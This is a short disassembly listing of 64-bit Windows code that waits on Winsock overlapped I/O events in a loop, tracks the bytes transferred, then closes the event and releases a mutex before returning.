mov dword [rsp + 0x20], ebx
call qword [sym.imp.WS2_32.dll_WSAWaitForMultipleEvents]
cmp eax, 0xffffffff
je 0x180004750
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAResetEvent]
lea r11, [rsp + 0xa8]
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x60]
xor r9d, r9d
mov rcx, r12
mov qword [rsp + 0x20], r11
call qword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
cmp eax, ebx
je 0x180004750
mov eax, dword [rsp + 0xb0]
sub dword [rsp + 0x40], eax
je 0x180004752
add qword [rsp + 0x48], rax
jmp 0x1800046a9
mov esi, ebx
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_WSACloseEvent]
mov rcx, qword [0x180007af8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea r11, [rsp + 0x80]
mov eax, esi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret